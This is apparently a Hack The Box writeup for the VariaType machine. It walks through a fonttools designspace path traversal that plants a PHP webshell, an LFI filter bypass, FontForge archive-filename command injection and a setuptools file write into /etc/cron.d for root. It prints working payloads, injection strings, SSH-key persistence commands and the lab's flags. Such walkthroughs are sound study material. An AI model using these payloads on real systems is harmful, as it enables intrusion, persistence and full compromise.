// tl;dr

Exploited fonttools CVE-2025-66034 designspace path traversal to write a PHP webshell, escalated to user via FontForge archive command injection, then root via setuptools PackageIndex arbitrary file write to cron.d.

contents
VariaType pwned certificate

VariaType — HTB Writeup#

Machine Summary#

PropertyValue
NameVariaType
IP10.129.2.43
OSLinux (Debian 12 Bookworm)
DifficultyHard
Key Topicsfonttools CVE-2025-66034 (designspace path traversal + PHP injection), PHP LFI bypass, exposed .git credentials, FontForge archive command injection, setuptools PackageIndex arbitrary file write

Overview#

VariaType hosted two web applications behind nginx: a Flask-based variable font generator (variatype.htb) and a PHP internal validation portal (portal.variatype.htb). Initial access was achieved by exploiting CVE-2025-66034 in fonttools to write a PHP webshell to the portal’s web directory via a crafted designspace file. Credentials for the portal were discovered in an exposed .git repository. An LFI in download.php (via str_replace("../","") bypass) allowed reading server files and confirming the attack surface. Lateral movement from www-data to user steve was accomplished through a FontForge command injection vulnerability in archive filename handling — steve’s cron job processed uploaded font files with fontforge, and a malicious zip with a crafted internal filename triggered arbitrary command execution. Privilege escalation to root exploited an arbitrary file write via setuptools.package_index.PackageIndex.download() in a sudo-allowed Python script — URL-encoded path separators bypassed os.path.join() to write a cron job to /etc/cron.d/.

Reconnaissance#

Port Scanning#

An nmap scan revealed only two open ports.

$ nmap -sC -sV -O -p- --min-rate 1000 10.129.2.43

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http    nginx 1.22.1
|_http-title: VariaType Labs -- Variable Font Generator
OS: Linux 5.0 - 5.14

UDP top 100 returned no open ports.

Virtual Host Discovery#

Port 80 redirected to http://variatype.htb/. Subdomain enumeration with ffuf discovered portal.variatype.htb.

$ curl -s http://variatype.htb/ -H "Host: portal.variatype.htb" -o /dev/null -w '%{http_code}:%{size_download}'
200:2494

Both hostnames were added to /etc/hosts.

Enumeration#

variatype.htb (Flask/Python)#

The main site was a variable font generator built with Flask. The key feature was a file upload form at /tools/variable-font-generator accepting .designspace files and .ttf/.otf master fonts, processed by the fonttools library.

The processing endpoint was /tools/variable-font-generator/process (POST only). Extension validation was enforced server-side.

portal.variatype.htb (PHP)#

An internal validation portal with login authentication. Directory enumeration revealed:

PathStatusDescription
index.php200Login page
auth.php200Auth backend (empty response)
download.php302File download (auth required)
view.php302File viewer (auth required)
dashboard.php302Dashboard (auth required)
/files/403File storage directory

The portal’s CSS contained a path disclosure: /* /var/www/dev.variatype.htb/styles.css */

SQL injection was tested against the login form (time-based, boolean, error-based, UNION) — all negative. Authentication used hardcoded credentials in PHP.

Portal Credentials via Exposed .git#

The portal had an exposed .git directory. Examining the git history revealed hardcoded credentials in auth.php that had been “removed” but then restored via git reset HEAD~1:

gitbot : G1tB0t_Acc3ss_2025!

These credentials granted access to the portal.

Reading Server Files via LFI#

After authenticating to the portal, download.php was found to have a path traversal vulnerability. The PHP code used str_replace("../", "", $file) for sanitization, bypassed with double-encoding:

$file = str_replace("../", "", $file);
$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;

Bypass: ....// → after str_replace removes ../, the remaining characters form ../.

$ curl -s -b "PHPSESSID=<session>" \
  "http://portal.variatype.htb/download.php?f=....//....//....//....//etc/passwd"

This allowed reading arbitrary files from the server. Key files extracted:

Flask app source (/opt/variatype/app.py): Critically, the app used the fonttools CLI via subprocess, not the Python API:

subprocess.run(
    ['fonttools', 'varLib', 'config.designspace'],
    cwd=workdir,
    check=True,
    timeout=30
)

This confirmed CVE-2025-66034 was exploitable — varLib.main() (the CLI entrypoint) processes <variable-font filename=""> for output path construction, unlike varLib.build() which returns in-memory objects.

nginx config (/etc/nginx/sites-enabled/portal.variatype.htb): The regex location ~ \.php$ takes priority over the prefix location /files/, meaning .php files in /files/ are processed by PHP-FPM — critical for the webshell to execute.

systemd service (/etc/systemd/system/variatype.service): The Flask app ran as variatype:www-data with ReadWritePaths to both /opt/variatype and /var/www/portal.variatype.htb/public/files.

Exploitation — User Flag#

Step 1: RCE via CVE-2025-66034 (fonttools designspace path traversal + PHP injection)#

A crafted .designspace file exploited two flaws in fonttools:

  1. Path traversal via <variable-font filename=""> — wrote the output font to the portal’s files directory
  2. PHP code injection via <labelname> CDATA — embedded a PHP webshell in the font’s name table
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" default="400" maximum="900">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['c']); ?>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="master.ttf" familyname="TestFamily" stylename="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="TestVF"
      filename="../../../var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets><axis-subset name="Weight"/></axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Uploaded via the font generator form with a valid DejaVuSans.ttf as the master font. The output font (containing embedded PHP) was written to /var/www/portal.variatype.htb/public/files/shell.php.

Since the binary font data mixed with command output, a cleaner webshell was deployed:

$ curl -s -G "http://portal.variatype.htb/files/shell.php" \
  --data-urlencode "c=echo PD9waHAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsgc3lzdGVtKFwkX0dFVFsnYyddIC4gIiAyPiYxIik7IGV4aXQ7ID8+ | base64 -d > x.php"

This created x.php — a clean webshell with stderr capture that served as the primary command execution interface.

Step 2: Lateral Movement www-data → steve (FontForge archive command injection)#

Enumeration via the webshell revealed:

  • User steve (uid 1000) had a cron job running every ~2 minutes: /home/steve/bin/process_client_submissions.sh
  • The script iterated over font files in /var/www/portal.variatype.htb/public/files/ and opened each with FontForge
  • FontForge 20230101 was installed from source at /usr/local/src/fontforge/

Reading FontForge’s splinefont.c source revealed unsanitized system() calls in the archive handling code:

// Line 860 - archive extraction with unsanitized desiredfile
sprintf(unarchivecmd, "( cd %s ; %s %s %s %s ) > /dev/null", archivedir,
    archivers[i].unarchive, archivers[i].extractargs, name, doall ? "" : desiredfile);
system(unarchivecmd);

The desiredfile variable came from the archive’s internal file listing — attacker-controlled via the zip’s internal filename.

An SSH key pair was generated and a malicious zip was crafted with command injection in the internal filename:

malicious_name = 'x;mkdir -p /home/steve/.ssh;echo ssh-ed25519\\ AAAAC3NzaC1lZDI1NTE5AAAAIHrXozP6p3vSe90bMcn9RiBck/Im0hobglyVKRs0srK5\\ bokka@kaliculo-mac >> /home/steve/.ssh/authorized_keys;chmod 600 /home/steve/.ssh/authorized_keys;chmod 700 /home/steve/.ssh;cat /home/steve/user.txt > /tmp/sflag;chmod 644 /tmp/sflag;echo .ttf'

with zipfile.ZipFile('/tmp/malicious.zip', 'w') as zf:
    zf.write('/tmp/payload_font.ttf', malicious_name)

The zip was uploaded to the portal’s files directory via the webshell using wget. When steve’s cron ran, FontForge opened the zip, listed internal files, and passed the malicious filename to system(), injecting commands that:

  1. Created /home/steve/.ssh/ directory
  2. Wrote the SSH public key to authorized_keys
  3. Copied user.txt to /tmp/sflag
$ ssh -i exploits/steve_key steve@10.129.2.43 'id; cat /home/steve/user.txt'
uid=1000(steve) gid=1000(steve) groups=1000(steve)
49c8d497d9dfac839959c9ddc4f9f2e5

User Flag: 49c8d497d9dfac839959c9ddc4f9f2e5

Privilege Escalation — Root Flag#

sudo Enumeration#

$ sudo -l
User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

Arbitrary File Write via setuptools PackageIndex.download()#

The install_validator.py script used setuptools.package_index.PackageIndex().download(url, PLUGIN_DIR) to download “validator plugins” from URLs. The URL validation only required http:// or https:// scheme and fewer than 10 / characters.

Reading the setuptools source on the target (v78.1.0) revealed the vulnerability chain:

  1. egg_info_for_url(url) extracts the filename from the URL path’s last component using urllib.parse.unquote():

    base = urllib.parse.unquote(path.split('/')[-1])
    
  2. The ..' check only prevents relative path traversal:

    while '..' in name:
        name = name.replace('..', '.').replace('\\', '_')
    
  3. os.path.join(tmpdir, name) — if name is an absolute path (starts with /), it ignores tmpdir entirely.

  4. _download_to() writes the response body to the resulting path as root.

By URL-encoding / as %2F in the last path component, the decoded filename becomes an absolute path:

URL: http://10.10.14.51:8080/%2Fetc%2Fcron.d%2Froot-pwn

Decoded filename: /etc/cron.d/root-pwn
os.path.join('/opt/font-tools/validators', '/etc/cron.d/root-pwn') = '/etc/cron.d/root-pwn'

The %2F characters are not counted as real / by str.count('/'), passing the slash limit check.

A custom HTTP server was set up to serve a cron job payload for any request:

PAYLOAD = b"""* * * * * root mkdir -p /root/.ssh && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHrXozP6p3vSe90bMcn9RiBck/Im0hobglyVKRs0srK5 bokka@kaliculo-mac' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh && cp /root/root.txt /tmp/rflag && chmod 644 /tmp/rflag
"""

Executed the exploit:

$ sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://10.10.14.51:8080/%2Fetc%2Fcron.d%2Froot-pwn"

Plugin installed at: /etc/cron.d/root-pwn
[+] Plugin installed successfully.

After ~1 minute, the cron job fired and wrote the SSH key to root’s authorized_keys:

$ ssh -i exploits/steve_key root@10.129.2.43 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)
cfeb77ef23c88751975ff325ade0972b

Root Flag: cfeb77ef23c88751975ff325ade0972b

Obstacles & Lessons Learned#

Failed Approaches#

  1. Reverse shell from www-data: Both bash and python3 reverse shells failed to connect — likely egress filtering on the target. All post-exploitation was done via webshell commands through curl.

  2. Python module hijacking for steve escalation: Multiple attempts were made to hijack Python imports during FontForge’s startup:

    • sitecustomize.py in CWD — failed because system sitecustomize.py at /usr/lib/python3.11/sitecustomize.py takes priority, and CWD is not in sys.path during site.py initialization
    • apport_python_hook.py — same issue, imported during site init when CWD not yet in path
    • fontforge module hijack — fontforge is registered as a C builtin module, BuiltinImporter finds it before PathFinder checks sys.path
  3. SSH as steve with gitbot credentials: Password reuse from the portal credentials was tested — permission denied.

Key Insights#

  • fonttools CLI vs API: The critical difference was that the Flask app used subprocess.run(['fonttools', 'varLib', ...]) (CLI) rather than the Python API. The CLI’s main() function processes <variable-font filename=""> for output paths, while build() returns in-memory objects. Reading the app source via LFI was essential to confirm exploitability.

  • nginx PHP-FPM regex priority: The location ~ \.php$ regex block takes priority over the location /files/ prefix block in nginx, so PHP files placed in /files/ are executed by PHP-FPM despite the directory being configured for static content.

  • setuptools os.path.join bypass: os.path.join('/opt/font-tools/validators', '/etc/cron.d/root-pwn') returns just /etc/cron.d/root-pwn because the second argument is absolute. Combined with URL decoding of %2F/, this turned a “safe” download into an arbitrary file write as root.

Tools Used#

ToolPurpose
nmapPort scanning and service enumeration
ffufSubdomain enumeration
gobusterDirectory brute-forcing
whatwebTechnology fingerprinting
curlManual HTTP requests, webshell interaction
Python3Exploit scripting (malicious zip, HTTP payload server)
ssh/ssh-keygenSSH key generation and remote access
fonttoolsUnderstanding designspace format for exploit crafting